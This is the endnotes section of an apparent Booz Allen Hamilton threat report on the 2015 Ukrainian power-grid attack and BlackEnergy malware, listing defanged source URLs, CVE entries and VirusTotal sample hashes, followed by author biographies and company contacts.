hxxps://www.sans.org/reading-room/whitepapers/ICS/industrial-control-system-cyber-kill-chain-36297. 119. Kim Zetter, Inside the Cunning Unprecedented Hack of Ukraines Power Grid, Wired, March 3, 2016, accessed July 13, 2016, hxxps://www.wired.com/2016/03/inside-cunning-unprecedented-hack-ukraines-power-grid/. 120. IR-ALERT-H-16-043-01AP Cyber-Attack Against Ukrainian Critical Infrastructure, US Department of Homeland Security Industrial Control System Computer Emergency Response Team, March 7, 2016, accessed July 12, 2016, hxxps://info.publicin- telligence.net/NCCIC-UkrainianPowerAttack.pdf. 121. Robert M. Lee, Michael J. Assante, and Tim Conway, Analysis of the Cyber Attack on the Ukrainian Power Grid Defense Use Case, SANS Institute and Electricity Information Sharing and Analysis Center, March 18, 2016, accessed July 12, 2016, hxxps://ics.sans.org/media/E-ISAC_SANS_Ukraine_DUC_5.pdf. 122. Ibid. 123. Kim Zetter, Inside the Cunning Unprecedented Hack of Ukraines Power Grid, Wired, March 3, 2016, accessed July 13, 2016, hxxps://www.wired.com/2016/03/inside-cunning-unprecedented-hack-ukraines-power-grid/. 124. Dragonfly: Western Energy Companies Under Sabotage Threat, Symantec, June 30, 2014, accessed July 14, 2016, hxxp:// www.symantec.com/connect/blogs/dragonfly-western-energy-companies-under-sabotage-threat. 125. Michael J. Assante and Robert M. Lee, The Industrial Control System Cyber Kill Chain, SANS Institute, October 2015, accessed July 12, 2016, hxxps://www.sans.org/reading-room/whitepapers/ICS/industrial-control-system-cyber-kill-chain-36297. 126. Ibid. 127. Robert M. Lee, Michael J. Assante, and Tim Conway, Analysis of the Cyber Attack on the Ukrainian Power Grid Defense Use Case, SANS Institute and Electricity Information Sharing and Analysis Center, March 18, 2016, accessed July 12, 2016, hxxps://ics.sans.org/media/E-ISAC_SANS_Ukraine_DUC_5.pdf. 128. Ibid. 129. Black Energy, CERT-UA, September 11, 2015, accessed July 13, 2016, hxxp:// cert.gov.ua/?p2370. 130. Robert Lipovsky and Anton Cherepanov, BlackEnergy trojan strikes again: Attacks Ukrainian electric power industry, welivesecurity, January 4, 2016, accessed July 12, 2016, hxxp://www.welivesecurity.com/2016/01/04/ blackenergy-trojan-strikes-again-attacks-ukrainian-electric-power-industry/. 131. Aleksey Yasinskiy, DISMANTLING BLACKENERGY, PART 3 ALL ABOARD SOCPrime, March 29, 2016, accessed August 19, 2016, hxxps://socprime.com/en/blog/dismantling-blackenergy-part-3-all-aboard/. 132. Ibid. 133. Kim Zetter, Inside the Cunning Unprecedented Hack of Ukraines Power Grid, Wired, March 3, 2016, accessed July 13, 2016, hxxps://www.wired.com/2016/03/inside-cunning-unprecedented-hack-ukraines-power-grid/. 134. IR-ALERT-H-16-043-01AP Cyber-Attack Against Ukrainian Critical Infrastructure, US Department of Homeland Security Industrial Control System Computer Emergency Response Team, March 7, 2016, accessed July 12, 2016, hxxps://info.publicin- telligence.net/NCCIC-UkrainianPowerAttack.pdf. 69 135. Aleksey Yasinskiy, DISMANTLING BLACKENERGY, PART 3 ALL ABOARD SOCPrime, March 29, 2016, accessed August 19, 2016, hxxps://socprime.com/en/blog/dismantling-blackenergy-part-3-all-aboard/. 136. Ibid. 137. IR-ALERT-H-16-043-01AP Cyber-Attack Against Ukrainian Critical Infrastructure, US Department of Homeland Security Industrial Control System Computer Emergency Response Team, March 7, 2016, accessed July 12, 2016, hxxps://info.publicin- telligence.net/NCCIC-UkrainianPowerAttack.pdf. 138. Ibid. 139. Ibid. 140. Kim Zetter, Inside the Cunning Unprecedented Hack of Ukraines Power Grid, Wired, March 3, 2016, accessed July 13, 2016, hxxps://www.wired.com/2016/03/inside-cunning-unprecedented-hack-ukraines-power-grid/. 141. IR-ALERT-H-16-043-01AP Cyber-Attack Against Ukrainian Critical Infrastructure, US Department of Homeland Security Industrial Control System Computer Emergency Response Team, March 7, 2016, accessed July 12, 2016, hxxps://info.publicin- telligence.net/NCCIC-UkrainianPowerAttack.pdf. 142. Ibid. 143. UPS Network Management Cards, Schneider Electric, accessed July 13, 2016, hxxp://www.schneider-electric.com/en/ product-range/61936-ups-network-management-cards/. 144. Vulnerability Note VU166739APC Network Management Card web interface vulnerable to cross-site scripting and cross-site request forgery, Carnegie Mellon University Computer Emergency Response Team, February 24, 2010, modified April 29, 2010, accessed July 13, 2016, hxxps://www.kb.cert.org/vuls/id/166739. 145. IR-ALERT-H-16-043-01AP Cyber-Attack Against Ukrainian Critical Infrastructure, US Department of Homeland Security Industrial Control System Computer Emergency Response Team, March 7, 2016, accessed July 12, 2016, hxxps://info.publicin- telligence.net/NCCIC-UkrainianPowerAttack.pdf. 146. Kim Zetter, Inside the Cunning Unprecedented Hack of Ukraines Power Grid, Wired, March 3, 2016, accessed July 13, 2016, hxxps://www.wired.com/2016/03/inside-cunning-unprecedented-hack-ukraines-power-grid/. 147. IR-ALERT-H-16-043-01AP Cyber-Attack Against Ukrainian Critical Infrastructure, US Department of Homeland Security Industrial Control System Computer Emergency Response Team, March 7, 2016, accessed July 12, 2016, hxxps://info.publicin- telligence.net/NCCIC-UkrainianPowerAttack.pdf. 148. Ibid. 149. Robert M Lee, Confirmation of a Coordinated Attack on the Ukrainian Power Grid, SANS, January 9, 2016 hxxps://ics.sans. org/blog/2016/01/09/confirmation-of-a-coordinated-attack-on-the-ukrainian-power-grid. 150. IR-ALERT-H-16-043-01AP Cyber-Attack Against Ukrainian Critical Infrastructure, US Department of Homeland Security Industrial Control System Computer Emergency Response Team, March 7, 2016, accessed July 12, 2016, hxxps://info.publicin- telligence.net/NCCIC-UkrainianPowerAttack.pdf. 151. Jose Pagliery, Scary questions in Ukraine energy grid hack, CNN Money, January 18, 2016, accessed July 13, 2016, hxxp:// money.cnn.com/2016/01/18/technology/ukraine-hack-russia/. 152. Robert M Lee, Confirmation of a Coordinated Attack on the Ukrainian Power Grid, SANS, January 9, 2016 hxxps://ics.sans. org/blog/2016/01/09/confirmation-of-a-coordinated-attack-on-the-ukrainian-power-grid. 153. Robert M. Lee, Michael J. Assante, and Tim Conway, Analysis of the Cyber Attack on the Ukrainian Power Grid Defense Use Case, SANS Institute and Electricity Information Sharing and Analysis Center, March 18, 2016, accessed July 12, 2016, hxxps://ics.sans.org/media/E-ISAC_SANS_Ukraine_DUC_5.pdf. 70 Booz Allen Hamilton 154. Rich Heidorn, How a Phantom Mouse and Weaponized Excel Files Brought Down Ukraines Grid, March 28, 2016, hxxp:// www.rtoinsider.com/nerc-phantom-mouse-cyberattack-24232/. 155. Ellen Nakashima, Russian hackers suspected in attack that blacked out parts of Ukraine, Washington Post, January 5, 2016, accessed July 14, 2016, hxxps://www.washingtonpost.com/world/national-security/russian-hackers-suspected-in-attack-that- blacked-out-parts-of-ukraine/2016/01/05/4056a4dc-b3de-11e5-a842-0feb51d1d124_story.html. 156. IR-ALERT-H-16-043-01AP Cyber-Attack Against Ukrainian Critical Infrastructure, US Department of Homeland Security Industrial Control System Computer Emergency Response Team, March 7, 2016, accessed July 12, 2016, hxxps://info.publicin- telligence.net/NCCIC-UkrainianPowerAttack.pdf. 157. Kim Zetter, Inside the Cunning Unprecedented Hack of Ukraines Power Grid, Wired, March 3, 2016, accessed July 13, 2016, hxxps://www.wired.com/2016/03/inside-cunning-unprecedented-hack-ukraines-power-grid/. 158. IR-ALERT-H-16-043-01AP Cyber-Attack Against Ukrainian Critical Infrastructure, US Department of Homeland Security Industrial Control System Computer Emergency Response Team, March 7, 2016, accessed July 12, 2016, hxxps://info.publicin- telligence.net/NCCIC-UkrainianPowerAttack.pdf. 159. Ibid. 160. Vulnerability Summary for CVE-2014-6271, National Vulnerability Database, September 24, 2014, modified June 28, 2016, accessed July 14, 2016, hxxps://web.nvd.nist.gov/view/vuln/detail?vulnIdCVE-2014-6271. 161. Vulnerability Summary for CVE-2014-7186, National Vulnerability Database, September 28, 2014, modified October 9, 2015, accessed July 14, 2016, hxxps://web.nvd.nist.gov/view/vuln/detail?vulnIdCVE-2014-7186. 162. Vulnerability Summary for CVE-2014-7187, National Vulnerability Database, September 28, 2014, modified October 9, 2015, accessed July 14, 2016, hxxps://web.nvd.nist.gov/view/vuln/detail?vulnIdCVE-2014-7187. 163. Vulnerability Summary for CVE-2014-6277, National Vulnerability Database, September 28, 2014, modified October 9, 2015, accessed July 14, 2016, hxxps://web.nvd.nist.gov/view/vuln/detail?vulnIdCVE-2014-6277. 164. Vulnerability Summary for CVE-2014-6278, National Vulnerability Database, September 30, 2014, modified June 14, 2016, accessed July 14, 2016, hxxps://web.nvd.nist.gov/view/vuln/detail?vulnIdCVE-2014-6278. 165. Advisory (ICSA-16-138-01) IRZ RUH2 3G Firmware Overwrite Vulnerability, US Department of Homeland Security Industrial computer Emergency Response Team, May 17, 2016, accessed July 14, 2016, hxxps://ics-cert.us-cert.gov/advisories/ ICSA-16-138-01. 166. IR-ALERT-H-16-043-01AP Cyber-Attack Against Ukrainian Critical Infrastructure, US Department of Homeland Security Industrial Control System Computer Emergency Response Team, March 7, 2016, accessed July 12, 2016, hxxps://info.publicin- telligence.net/NCCIC-UkrainianPowerAttack.pdf. 167. Kim Zetter, Inside the Cunning Unprecedented Hack of Ukraines Power Grid, Wired, March 3, 2016, accessed July 13, 2016, hxxps://www.wired.com/2016/03/inside-cunning-unprecedented-hack-ukraines-power-grid/. 168. The Surging Threat of Telephony Denial of Service Attacks, SecureLogix, Ocotber 21, 2014, accessed July 13, 2016, hxxp:// www.cisco.com/c/dam/en/us/products/collateral/unified-communications/unified-border-element/tdos_brochure.pdf. 169. IR-ALERT-H-16-043-01AP Cyber-Attack Against Ukrainian Critical Infrastructure, US Department of Homeland Security Industrial Control System Computer Emergency Response Team, March 7, 2016, accessed July 12, 2016, hxxps://info.publicin- telligence.net/NCCIC-UkrainianPowerAttack.pdf. 170. Kim Zetter, Inside the Cunning Unprecedented Hack of Ukraines Power Grid, Wired, March 3, 2016, accessed July 13, 2016, hxxps://www.wired.com/2016/03/inside-cunning-unprecedented-hack-ukraines-power-grid/. 171. Robert M. Lee, Michael J. Assante, and Tim Conway, Analysis of the Cyber Attack on the Ukrainian Power Grid Defense Use Case, SANS Institute and Electricity Information Sharing and Analysis Center, March 18, 2016, accessed July 12, 2016, hxxps://ics.sans.org/media/E-ISAC_SANS_Ukraine_DUC_5.pdf. boozallen.com/ics 71 172. The Surging Threat of Telephony Denial of Service Attacks, SecureLogix, Ocotber 21, 2014, accessed July 13, 2016, hxxp:// www.cisco.com/c/dam/en/us/products/collateral/unified-communications/unified-border-element/tdos_brochure.pdf. 173. Ibid. 174. TDoS Attacks on Public Safety Communications, Cook County Department of Homeland Security Emergency Management, March 16, 2013, accessed July 13, 2016, hxxp://krebsonsecurity.com/wp-content/uploads/2013/04/DHSEM-16- SAU-01-LEO.pdf. 175. Ibid. 176. IR-ALERT-H-16-043-01AP Cyber-Attack Against Ukrainian Critical Infrastructure, US Department of Homeland Security Industrial Control System Computer Emergency Response Team, March 7, 2016, accessed July 12, 2016, hxxps://info.publicin- telligence.net/NCCIC-UkrainianPowerAttack.pdf. 177. Ibid. 178. Black Energy, CERT-UA, September 11, 2015, accessed July 19, 2016, hxxp:// cert.gov.ua/?p2370. 179. Ibid. 180. 052ebc9a518e5ae02bbd1bd3a5a86c3560aefc9313c18d81f6670c3430f1d4d4, Virus Total, July 6, 2016, accessed July 15, 2016, hxxps://www.virustotal.com/en/file/052ebc9a518e5ae02bbd1bd3a5a86c3560aefc9313c18d81f6670c3430f1d4d4/analysis/. 181. Ibid. 182. Ibid. 183. Ibid. 184. Analysis Report, joeSandboxCloud, accessed July 12, 2016, hxxps://www.document-analyzer.net/analysis/4073/16856/0/ html. 185. 052ebc9a518e5ae02bbd1bd3a5a86c3560aefc9313c18d81f6670c3430f1d4d4, Virus Total, July 6, 2016, accessed July 15, 2016, hxxps://www.virustotal.com/en/file/052ebc9a518e5ae02bbd1bd3a5a86c3560aefc9313c18d81f6670c3430f1d4d4/analysis/. 186. Ibid. 187. Robert M Lee, Potential Sample of Malware from the Ukrainian Cyber Attack Uncovered, SANS Institute, January 1, 2016, accessed July 15, 2016, hxxps://ics.sans.org/blog/2016/01/01/ potential-sample-of-malware-from-the-ukrainian-cyber-attack-uncovered. 188. Udi Shamir, Analyzing a New Variant of BlackEnergy 3 Likely Insider-Based Execution, SentinelOne, 2016, accessed July 12, 2016, hxxps://www.sentinelone.com/wp-content/uploads/2016/01/BlackEnergy3_WP_012716_1c.pdf. 189. Malicious Code Analysis on Ukraines Power Grid Incident, Beijing Knownsec Information Technology Co., Ltd., January 10, 2016, accessed July 12, 2016, hxxp://blog.knownsec.com/wp-content/uploads/2016/01/Malicious-Code-Analysis-on-Ukraines- Power-Grid-Incident-L150113.pdf. 190. 39d04828ab0bba42a0e4cdd53fe1c04e4eef6d7b26d0008bd0d88b06cc316a81, Virus Total, June 21, 2016, accessed July 15, 2016, hxxps://www.virustotal.com/en/file/39d04828ab0bba42a0e4cdd53fe1c04e4eef6d7b26d0008bd0d88b06cc316a81/ analysis/. 191. GReAT, BlackEnergy APT Attacks in Ukraine employ spearphishing with Word documents, SecureList, January 28, 2016, accessed July 12, 2016, hxxps://securelist.com/blog/research/73440/ blackenergy-apt-attacks-in-ukraine-employ-spearphishing-with-word-documents/. 192. 39d04828ab0bba42a0e4cdd53fe1c04e4eef6d7b26d0008bd0d88b06cc316a81, Virus Total, June 21, 2016, accessed July 15, 2016, hxxps://www.virustotal.com/en/file/39d04828ab0bba42a0e4cdd53fe1c04e4eef6d7b26d0008bd0d88b06cc316a81/ analysis/. 72 Booz Allen Hamilton 193. Ibid. 194. Ibid. 195. Ibid. 196. GReAT, BlackEnergy APT Attacks in Ukraine employ spearphishing with Word documents, SecureList, January 28, 2016, accessed July 12, 2016, hxxps://securelist.com/blog/research/73440/ blackenergy-apt-attacks-in-ukraine-employ-spearphishing-with-word-documents/. 197. Ibid. 198. Udi Shamir, Analyzing a New Variant of BlackEnergy 3 Likely Insider-Based Execution, SentinelOne, 2016, accessed July 12, 2016, hxxps://www.sentinelone.com/wp-content/uploads/2016/01/BlackEnergy3_WP_012716_1c.pdf. 199. Ibid. 200. Ibid. 201. Blackenergy Quedagh: The convergence of crimeware and APT attacks, F-Secure Labs Security Response, accessed July 12, 2016, hxxps://www.f-secure.com/documents/996508/1030745/blackenergy_whitepaper.pdf. 202. Ibid. 203. Analysis Report, joeSandboxCloud, accessed July 12, 2016, hxxps://www.document-analyzer.net/analysis/4073/16856/0/ html. 204. Udi Shamir, Analyzing a New Variant of BlackEnergy 3 Likely Insider-Based Execution, SentinelOne, 2016, accessed July 12, 2016, hxxps://www.sentinelone.com/wp-content/uploads/2016/01/BlackEnergy3_WP_012716_1c.pdf. 205. ca7a8180996a98e718f427837f9d52453b78d0a307e06e1866db4d4ce969d525, Virus Total, June 21, 2016, accessed July 15, 2016, hxxps://www.virustotal.com/en/file/ca7a8180996a98e718f427837f9d52453b78d0a307e06e1866db4d4ce969d525/ analysis/. 206. Ibid. 207. Ibid. 208. Ibid. 209. Ibid. 210. Ibid. 211. 07e726b21e27eefb2b2887945aa8bdec116b09dbd4e1a54e1c137ae8c7693660, Virus Total, June 21, 2016, accessed July 15, 2016, hxxps://www.virustotal.com/en/file/07e726b21e27eefb2b2887945aa8bdec116b09dbd4e1a54e1c137ae8c7693660/analysis/. 212. Ibid. 213. Ibid. 214. Ibid. 215. Ibid. 216. Ibid. 217. 07a76c1d09a9792c348bb56572692fcc4ea5c96a77a2cddf23c0117d03a0dfad, Virus Total, June 21, 2016, accessed July 15, 2016, hxxps://www.virustotal.com/en/file/07a76c1d09a9792c348bb56572692fcc4ea5c96a77a2cddf23c0117d03a0dfad/analysis/. 218. Ibid. boozallen.com/ics 73 219. Ibid. 220. Ibid. 221. Ibid. 222. b90f268b5e7f70af1687d9825c09df15908ad3a6978b328dc88f96143a64af0f, Virus Total, February 12, 2016, accessed July 15, 2016, hxxps://www.virustotal.com/en/file/b90f268b5e7f70af1687d9825c09df15908ad3a6978b328dc88f96143a64af0f/analysis/. 223. Ibid. 224. Malicious Code Analysis on Ukraines Power Grid Incident, Beijing Knownsec Information Technology Co., Ltd., January 10, 2016, accessed July 12, 2016, hxxp://blog.knownsec.com/wp-content/uploads/2016/01/Malicious-Code-Analysis-on-Ukraines- Power-Grid-Incident-L150113.pdf. 225. b90f268b5e7f70af1687d9825c09df15908ad3a6978b328dc88f96143a64af0f , Virus Total, February 12, 2016, accessed July 15, 2016, hxxps://www.virustotal.com/en/file/b90f268b5e7f70af1687d9825c09df15908ad3a6978b328dc88f96143a64af0f/. 226. Ibid. 227. Anton Cherepanov, BlackEnergy by the SSHBearDoor: attacks against Ukrainian news media and electric industry, welivesecurity, January 3, 2016, accessed July 15, 2016, hxxp://www.welivesecurity.com/2016/01/03/ blackenergy-sshbeardoor-details-2015-attacks-ukrainian-news-media-electric-industry/. 228. Malicious Code Analysis on Ukraines Power Grid Incident, Beijing Knownsec Information Technology Co., Ltd., January 10, 2016, accessed July 12, 2016, hxxp://blog.knownsec.com/wp-content/uploads/2016/01/Malicious-Code-Analysis-on-Ukraines- Power-Grid-Incident-L150113.pdf. 229. Ibid. 230. Udi Shamir, Analyzing a New Variant of BlackEnergy 3 Likely Insider-Based Execution, SentinelOne, 2016, accessed July 12, 2016, hxxps://www.sentinelone.com/wp-content/uploads/2016/01/BlackEnergy3_WP_012716_1c.pdf. 231. Blackenergy Quedagh: The convergence of crimeware and APT attacks, F-Secure Labs Security Response, accessed July 12, 2016, hxxps://www.f-secure.com/documents/996508/1030745/blackenergy_whitepaper.pdf. 232. Ibid. 233. Ibid. 234. Anton Cherepanov, BlackEnergy by the SSHBearDoor: attacks against Ukrainian news media and electric industry, welivesecurity, January 3, 2016, accessed July 15, 2016, hxxp://www.welivesecurity.com/2016/01/03/ blackenergy-sshbeardoor-details-2015-attacks-ukrainian-news-media-electric-industry/. 235. Chintan Shah, Evolving DDoS Botnets: 1. BlackEnergy, McAfee Labs Blog, February 28, 2011, accessed July 19, 2016, hxxps://blogs.mcafee.com/business/security-connected/evolving-ddos-botnets-1-blackenergy/. 236. Anton Cherepanov, BlackEnergy by the SSHBearDoor: attacks against Ukrainian news media and electric industry, welivesecurity, January 3, 2016, accessed July 15, 2016, hxxp://www.welivesecurity.com/2016/01/03/ blackenergy-sshbeardoor-details-2015-attacks-ukrainian-news-media-electric-industry/. 237. Ibid. 238. Ibid. 239. ef380e33a854ef9d9052c93fc68d133cfeaae3493683547c2f081dc220beb1b3, Virus Total, June 21, 2016, accessed July 15, 2016, hxxps://www.virustotal.com/en/file/ef380e33a854ef9d9052c93fc68d133cfeaae3493683547c2f081dc220beb1b3/analysis/. 240. Ibid. 241. Ibid. 74 Booz Allen Hamilton 242. Ibid. 243. Ibid. 244. Ibid. 245. Ibid. 246. f5785842682bc49a69b2cbc3fded56b8b4a73c8fd93e35860ecd1b9a88b9d3d8, Virus Total, July 11, 2016, accessed July 15, 2016, hxxps://www.virustotal.com/en/file/f5785842682bc49a69b2cbc3fded56b8b4a73c8fd93e35860ecd1b9a88b9d3d8/analysis/. 247. Ibid. 248. Ibid. 249. Ibid. 250. Ibid. 251. Ibid. 252. Ibid. 253. 244dd8018177ea5a92c70a7be94334fa457c1aab8a1c1ea51580d7da500c3ad5, Virus Total, June 21, 2016, accessed July 15, 2016. hxxps://www.virustotal.com/en/file/244dd8018177ea5a92c70a7be94334fa457c1aab8a1c1ea51580d7da500c3ad5/analysis/. 254. Ibid. 255. Ibid. 256. Ibid. 257. Ibid. 258. Ibid. 259. 0969daac4adc84ab7b50d4f9ffb16c4e1a07c6dbfc968bd6649497c794a161cd, Virus Total, June 21, 2016, accessed July 15, 2016, hxxps://www.virustotal.com/en/file/0969daac4adc84ab7b50d4f9ffb16c4e1a07c6dbfc968bd6649497c794a161cd/ analysis/. 260. Ibid. 261. Ibid. 262. Ibid. 263. Ibid. 264. Anton Cherepanov, BlackEnergy by the SSHBearDoor: attacks against Ukrainian news media and electric industry, welivesecurity, January 3, 2016, accessed July 15, 2016, hxxp://www.welivesecurity.com/2016/01/03/ blackenergy-sshbeardoor-details-2015-attacks-ukrainian-news-media-electric-industry/. 265. Anton Cherepanov, BlackEnergy by the SSHBearDoor: attacks against Ukrainian news media and electric industry, welivesecurity, January 3, 2016, accessed July 15, 2016, hxxp://www.welivesecurity.com/2016/01/03/ blackenergy-sshbeardoor-details-2015-attacks-ukrainian-news-media-electric-industry/. 266. Malicious Code Analysis on Ukraines Power Grid Incident, Beijing Knownsec Information Technology Co., Ltd., January 10, 2016, accessed July 12, 2016, hxxp://blog.knownsec.com/wp-content/uploads/2016/01/Malicious-Code-Analysis-on-Ukraines- Power-Grid-Incident-L150113.pdf. boozallen.com/ics 75 267. Robert M. Lee, Michael J. Assante, and Tim Conway, Analysis of the Cyber Attack on the Ukrainian Power Grid Defense Use Case, SANS Institute and Electricity Information Sharing and Analysis Center, March 18, 2016, accessed July 12, 2016, hxxps://ics.sans.org/media/E-ISAC_SANS_Ukraine_DUC_5.pdf. 268. Robert Lipovsky and Anton Cherepanov, BlackEnergy trojan strikes again: Attacks Ukrainian electric power industry, welivesecurity, January 4, 2016, accessed July 12, 2016, hxxp://www.welivesecurity.com/2016/01/04/ blackenergy-trojan-strikes-again-attacks-ukrainian-electric-power-industry/. 269. Kyle Wilhoit, KillDisk and BlackEnergy Are Not Just Energy Sector Threats, Trend Micro, February 11, 2016, accessed July 20, 2016, hxxp://blog.trendmicro.com/trendlabs-security-intelligence/killdisk-and-blackenergy-are-not-just-energy-sector-threats/. 270. 30862ab7aaa6755b8fab0922ea819fb48487c063bea4a84174afbbd65ce26b86, Virus Total, March 22, 2016, accessed July 15, 2016, hxxps://www.virustotal.com/en/file/30862ab7aaa6755b8fab0922ea819fb48487c063bea4a84174afbbd65ce26b86/ analysis/. 271. Ibid. 272. Ibid. 273. Ibid. 274. Ibid. 275. Ibid. 276. Ibid. 277. f52869474834be5a6b5df7f8f0c46cbc7e9b22fa5cb30bee0f363ec6eb056b95, Virus Total, June 21, 2016, accessed July 15, 2016, hxxps://www.virustotal.com/en/file/f52869474834be5a6b5df7f8f0c46cbc7e9b22fa5cb30bee0f363ec6eb056b95/analysis/. 278. Ibid. 279. Ibid. 280. Ibid. 281. Ibid. 282. Ibid. 283. Ibid. 284. c7536ab90621311b526aefd56003ef8e1166168f038307ae960346ce8f75203d, Virus Total, June 21, 2016, accessed July 15, 2016, hxxps://www.virustotal.com/en/file/c7536ab90621311b526aefd56003ef8e1166168f038307ae960346ce8f75203d/analysis/. 285. Ibid. 286. Ibid. 287. Ibid. 288. Ibid. 289. Ibid. 290. Ibid. 291. Malicious Code Analysis on Ukraines Power Grid Incident, Beijing Knownsec Information Technology Co., Ltd., January 10, 2016, accessed July 12, 2016, hxxp://blog.knownsec.com/wp-content/uploads/2016/01/Malicious-Code-Analysis-on-Ukraines- Power-Grid-Incident-L150113.pdf. 76 Booz Allen Hamilton 292. 5d2b1abc7c35de73375dd54a4ec5f0b060ca80a1831dac46ad411b4fe4eac4c6, Virus Total, July 15, 2016, accessed July 15, 2016, hxxps://www.virustotal.com/en/file/5d2b1abc7c35de73375dd54a4ec5f0b060ca80a1831dac46ad411b4fe4eac4c6/analysis/. 293. Ibid. 294. Ibid. 295. Ibid. 296. Ibid. 297. Ibid. 298. 11b7b8a7965b52ebb213b023b6772dd2c76c66893fc96a18a9a33c8cf125af80, Virus Total, June 21, 2016, accessed July 15, 2016, hxxps://www.virustotal.com/en/file/11b7b8a7965b52ebb213b023b6772dd2c76c66893fc96a18a9a33c8cf125af80/analysis/. 299. Ibid. 300. Ibid. 301. Ibid. 302. Ibid. 303. Ibid. 304. Ibid. 305. Malicious Code Analysis on Ukraines Power Grid Incident, Beijing Knownsec Information Technology Co., Ltd., January 10, 2016, accessed July 12, 2016, hxxp://blog.knownsec.com/wp-content/uploads/2016/01/Malicious-Code-Analysis-on-Ukraines- Power-Grid-Incident-L150113.pdf. 306. Blackenergy Quedagh: The convergence of crimeware and APT attacks, F-Secure Labs Security Response, accessed July 12, 2016, hxxps://www.f-secure.com/documents/996508/1030745/blackenergy_whitepaper.pdf. 307. Ibid. 308. Raj Samani and Christiaan Beek, Updated BlackEnergy Trojan Grows More Powerful,McAfee Labs, January 14, 2016, accessed July 13, 2016, hxxps://blogs.mcafee.com/mcafee-labs/updated-blackenergy-trojan-grows-more-powerful/. 309. Robert Lipovsky and Anton Cherapanov, Last-minute paper: Back in BlackEnergy: 2014 targeted attacks in the Ukraine and Poland, Virus Bulletin, September 25, 2015, accessed July 12, 2016, hxxps://www.virusbulletin.com/conference/vb2014/ abstracts/back-blackenergy-2014-targeted-attacks-ukraine-and-poland. 310. Blackenergy Quedagh: The convergence of crimeware and APT attacks, F-Secure Labs Security Response, accessed July 12, 2016, hxxps://www.f-secure.com/documents/996508/1030745/blackenergy_whitepaper.pdf. 311. Ibid. 312. Ibid. 313. Ibid. 314. Raj Samani and Christiaan Beek, Updated BlackEnergy Trojan Grows More Powerful,McAfee Labs, January 14, 2016, accessed July 13, 2016, hxxps://blogs.mcafee.com/mcafee-labs/updated-blackenergy-trojan-grows-more-powerful/. 315. Robert M. Lee, Michael J. Assante, and Tim Conway, Analysis of the Cyber Attack on the Ukrainian Power Grid Defense Use Case, SANS Institute and Electricity Information Sharing and Analysis Center, March 18, 2016, accessed July 12, 2016, hxxps://ics.sans.org/media/E-ISAC_SANS_Ukraine_DUC_5.pdf. boozallen.com/ics 77 316. Robert Lipovsky and Anton Cherapanov, Last-minute paper: Back in BlackEnergy: 2014 targeted attacks in the Ukraine and Poland, Virus Bulletin, September 25, 2015, accessed July 12, 2016, hxxps://www.virusbulletin.com/conference/vb2014/ abstracts/back-blackenergy-2014-targeted-attacks-ukraine-and-poland. 317. Ibid. 318. Raj Samani and Christiaan Beek, Updated BlackEnergy Trojan Grows More Powerful,McAfee Labs, January 14, 2016, accessed July 13, 2016, hxxps://blogs.mcafee.com/mcafee-labs/updated-blackenergy-trojan-grows-more-powerful/. 319. IR-ALERT-H-16-043-01AP Cyber-Attack Against Ukrainian Critical Infrastructure, US Department of Homeland Security Industrial Control System Computer Emergency Response Team, March 7, 2016, accessed July 12, 2016, hxxps://info.publicin- telligence.net/NCCIC-UkrainianPowerAttack.pdf. 320. Paul Ducklin, Ukraine power outages blamed on hackers and malware the lessons to learn, nakedse- curity by Sophos, January 6, 2016, accessed July 12, 2016, hxxps://nakedsecurity.sophos.com/2016/01/06/ ukraine-power-outages-blamed-on-hackers-and-malware/. 321. Eduard Kovacs, BlackEnergy Malware Used in Ukraine Power Grid Attacks, SecurityWeek, January 4, 2016, accessed July 12, 2016, hxxp://www.securityweek.com/blackenergy-group-uses-destructive-plugin-ukraine-attacks. 322. Malicious Code Analysis on Ukraines Power Grid Incident, Beijing Knownsec Information Technology Co., Ltd., January 10, 2016, accessed July 12, 2016, hxxp://blog.knownsec.com/wp-content/uploads/2016/01/Malicious-Code-Analysis-on-Ukraines- Power-Grid-Incident-L150113.pdf. 323. Matt Johnston, Dropbear SSH, University of Western Australia University Computer Club, accessed July 12, 2016, hxxps:// matt.ucc.asn.au/dropbear/dropbear.html. 324. Malicious Code Analysis on Ukraines Power Grid Incident, Beijing Knownsec Information Technology Co., Ltd., January 10, 2016, accessed July 12, 2016, hxxp://blog.knownsec.com/wp-content/uploads/2016/01/Malicious-Code-Analysis-on-Ukraines- Power-Grid-Incident-L150113.pdf. 325. Ibid. 326. Ibid. 327.
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BlackEnergy and the Ukraine: Signals vs. Noise, Cylance, January 12, 2016, accessed July 12, 2016, hxxps://blog.cylance.com/ blackenergy-and-the-ukraine-signals-vs.-noise. 78 Booz Allen Hamilton JAKE STYCZYNSKI Jake Styczynski is an associate at Booz Allen Hamilton specializing in cyber threat research. He has conducted cyber threat landscape and organizational risk assessments for commercial and government clients. Jake has led project teams in open-source research efforts evaluating threats to space-based systems, maritime navigation and communication systems, and industrial control systems. Jake earned an M.I.A. in international security policy from Columbia University and a B.A. in political science from University of Massachusetts at Amherst. NATE BEACH-WESTMORELAND Nate Beach-Westmoreland (NateBeachW) is a lead associate at Booz Allen Hamilton with nearly a decade of experience in cyber intelligence, open-source research, and geopolitical analysis. Nate leads a team of multidisciplinary analysts in producing strategic cyber threat intelligence for commercial and government clients. He has helped mature or establish several Booz Allen open-source intelligence teams, including the firms first commercial cyber threat intelligence offering in 2011. He earned an M.A. in international relations from Yale University and a B.A. in history from Cornell University. SCOTT STABLES Scott Stables is a chief technologist in Booz Allens Strategic Innovation Group leading the firms Next-Generation Industrial Security initiative. In this role, he manages a team of engineers and developers working together develop solutions that address the cybersecurity challenges associated with industrial systems and industrial IoT security. Scott has almost 20 years of technology experience, primarily in the systems integration, communications, and cybersecurity areas, and has worked for a range of commercial customers across the globe focused on a range of diverse initiatives. Scott has an M.S. in information systems from Robert Gordon University, and a LL.B (Hons) in business law from London Guildhall University. A U T H O R S About Booz Allen Booz Allen Hamilton has been at the forefront of strategy and technology for more than 100 years. Today, the firm provides management and technology consulting and engineering services to leading Fortune 500 corporations, govern- ments, and not-for-profits across the globe. Booz Allen partners with public and private sector clients to solve their most difficult challenges through a combination of consulting, analytics, mission operations, technology, systems delivery, cybersecurity, engineering, and innovation expertise. With international headquarters in McLean, Virginia, the firm employs more than 22,600 people globally and had revenue of 5.41 billion for the 12 months ended March 31, 2016. To learn more, visit BoozAllen.com. ( NYSE: BAH) BOOZ ALLEN.COM 2016 Booz Allen Hamilton Inc. vcs.c.07.047.16 For More Information BRAD MEDAIRY Senior Vice President medairy_bradbah.com 1-703-902-5948 SCOTT STABLES Chief Cyber Technologist stables_scottbah.com 1-630-776-7701 MATT THURSTON Lead Associate thurston_matthewbah.com 